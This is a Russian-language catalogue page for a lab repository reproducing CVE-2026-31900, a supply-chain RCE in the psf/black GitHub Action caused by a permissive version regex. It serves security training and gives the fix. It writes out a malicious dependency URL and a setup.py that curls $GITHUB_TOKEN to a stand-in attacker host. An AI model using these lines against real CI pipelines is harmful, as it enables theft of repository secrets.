Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-31900-lab — CVE-2026-31900 Уязвимая лаборатория - RCE в GitHub Action psf/black | Kitploit
Инструменты/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
Анализ уязвимостейЭксплуатацияВеб-безопасностьБезопасность Цепочки ПоставокОбучение и ОбразованиеЛаборатории и Практика
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

CVE-2026-31900 Уязвимая лаборатория - RCE в GitHub Action psf/black

Репозиторий
114 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31900 — Уязвимая лаборатория

RCE в GitHub Action psf/black через небезопасную проверку регулярным выражением

ПолеДетали
CVECVE-2026-31900
CVSS8.7 (Высокий)
КонсультацияGHSA-v53h-f6m7-xcgm
Затронутоpsf/black GitHub Action < v26.3.0
ТипRCE через цепочку поставок (триггер pull_request)

Уязвимость

Опция use_pyproject: true считывает версию Black из pyproject.toml. Регулярное выражение, используемое для проверки строки версии, является излишне разрешающим из-за re.IGNORECASE, что допускает такие символы, как пробел, @, : и / — именно то, что нужно для URL-требования PEP 508.

Уязвимое регулярное выражение

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

Вектор атаки

  1. Сделайте форк этого репозитория
  2. Измените pyproject.toml в своём форке:
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. Откройте Pull Request → срабатывает триггер рабочего процесса pull_request
  2. Action считывает вредоносную версию из pyproject.toml, обходя проверку регулярным выражением
  3. pip устанавливает пакет, контролируемый атакующим → setup.py выполняет произвольный код

Пример вредоносного пакета setup.py

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

Влияние кражи учётных данных

  • $GITHUB_TOKEN (токен CI-раннера)
  • Любые секреты, внедрённые в окружение рабочего процесса

Исправление

Обновитесь до psf/black v26.3.0 или явно укажите версию в YAML рабочего процесса вместо использования use_pyproject: true.

Структура лаборатории

root@kitploit:~
.github/workflows/black.yml   ← Уязвимый рабочий процесс (use_pyproject: true)
pyproject.toml                ← Легитимная конфигурация (ветка main)
app.py                        ← Пример Python-файла для форматирования
Скачать инструмент